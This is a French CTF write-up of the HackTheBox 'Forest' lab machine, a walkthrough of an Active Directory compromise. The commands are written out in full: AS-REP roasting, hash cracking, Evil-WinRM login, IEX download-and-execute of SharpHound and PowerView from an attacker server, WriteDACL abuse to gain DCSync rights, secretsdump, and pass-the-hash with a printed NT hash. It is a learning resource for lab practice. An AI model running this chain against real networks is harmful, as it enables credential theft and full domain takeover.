> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md). # Compte rendu HackTheBox de Forest {% embed url="" %} {% hint style="warning" %} **Compétences :** * AXFR - Attaque de transfert de zone de domaine (échec) * Énumération RPC - Obtention d'utilisateurs de domaine valides * Réalisation d'une attaque AS-RepRoast avec les utilisateurs obtenus * Cassage de hachages * Abus de WinRM - EvilWinRM * Énumération LDAP - ldapdomaindump * Énumération BloodHound * Collecte d'informations système avec SharpHound.ps1 - PuckieStyle * Représentation et visualisation des données dans BloodHound * Recherche d'un vecteur d'attaque dans BloodHound * Abus du groupe Account Operators - Création d'un nouvel utilisateur * Abus du groupe Account Operators - Attribution d'un groupe au nouvel utilisateur créé * Abus de WriteDacl dans le domaine - Octroi des privilèges DCSync * Exploitation DCSync - Secretsdump.py {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts ```

**Analyse des ports ouverts avec extractport :**/ Utilisation de la fonction extractport pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

**Analyse des versions des ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted ```

## **Liste et opération:** ### **Reconnaissance SMB:** Utilisation de CrackMapExec pour identifier le système d'exploitation ```bash crackmapexec cmb 10.10.10.161 ```

Pour résoudre des noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP/ est inséré dans le `/etc/hosts` .

/*/Exploration des partages SMB sur le réseau pour identifier les ressources partagées, mais aucun résultat. //* ```bash crackmapexec smb 10.10.10.161 --shares ``` ```bash smbclient -L 10.10.10.161 -N ```

### **Reconnaissance RPC:** Utilisation de rpcclient pour interagir avec les services RPC et collecter des informations sur les ressources ```bash rpccclient -U "" 10.10.10.161 -N enumdomusers ```

#### Lister les groupes: ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups' ```

## Attaque ASREPRoast: #### Avec une liste d'utilisateurs valides, nous allons mener une attaque AS-RepRoast car nous n'avons pas besoin des mots de passe des utilisateurs. Nous allons utiliser `grep` pour filtrer les noms d'utilisateurs, puis insérer ces données dans un fichier ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users ```

#### Nous utilisons l'outil GetNPUsers.py pour extraire les informations de l'utilisateur sans mot de passe: ```bash GetNPUsers.py htb.local/ -no-pass -usersfile users ```

#### Nous récupérons le hash du mot de passe de l'utilisateur "lucinda" et essayons de le casser avec John the Ripper en utilisant une liste de mots de passe prédéfinie: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

#### Nous utilisons CrackMapExec pour vérifier si le mot de passe cassé est correct en tentant une connexion WinRM: ```bash crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

#### Enfin, nous utilisons Evil-WinRM pour nous connecter à la machine distante avec les informations d'identification cassées: ```bash evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

## Élévation de privilèges : ### Énumération du domaine avec BloodHound

Installation de BloodHound :

``` apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` /*/Se connecter à BloodHound avec les identifiants neo4j:neo4j. //* ![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74) **Lancement de BloodHound.** ```bash bloodhound &> /dev/null & disown ```

### Collecter des informations avec SharpHound.ps1 {% embed url="" %} ### Transférer les données collectées vers un serveur Linux. ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1') ```

```bash Invoke-BloodHound -CollectionMethod All ```

#### Nous transférons le fichier zip à notre équipe. ```bash download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip ```

/*/Importer le fichier zip dans BloodHound. //*

### Analyse et opérations BloodHound #### Filtrer les données pour trouver le plus court chemin vers l'administrateur du domaine.

#### Identification d'une appartenance à un groupe potentiellement problématique (Account Operator).

#### Utilisation de la capacité de création d'utilisateurs pour préparer une attaque DCSync. ```bash net user jordanmacia password123$ /add /domain ```

### Tentative DCSync sans droits suffisants ```bash impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

#### Ajout de l'utilisateur à un groupe avec des permissions plus élevées (`Exchange Windows Permissions`).

```bash net group "Exchange Windows Permissions" jordanmacia /add ```

### Attaque WriteDACL :

```bash $SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword) ``` Préparation de l'attaque WriteDACL à l'aide de PowerView\.ps1 pour ajouter des fonctionnalités. {% embed url="" %}

#### Transfert de fichier ``` python3 -m http.server 80 ``` ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')" ``` ## Vulnérabilité de l'attaque DCSync #### Exécuter la commande Add-DomainObjectAcl pour obtenir les hashes. ``` Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync ``` #### Utilisation d'Impacket pour extraire des hashes avec l'utilisateur jordanmacia. ``` impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

### Attaque Pass-the-Hash : Utilisation du hash NT de l'administrateur pour une attaque Pass-the-Hash. ```bash evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' ``` #### Accès au système avec des droits administrateur.

### Drapeau final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.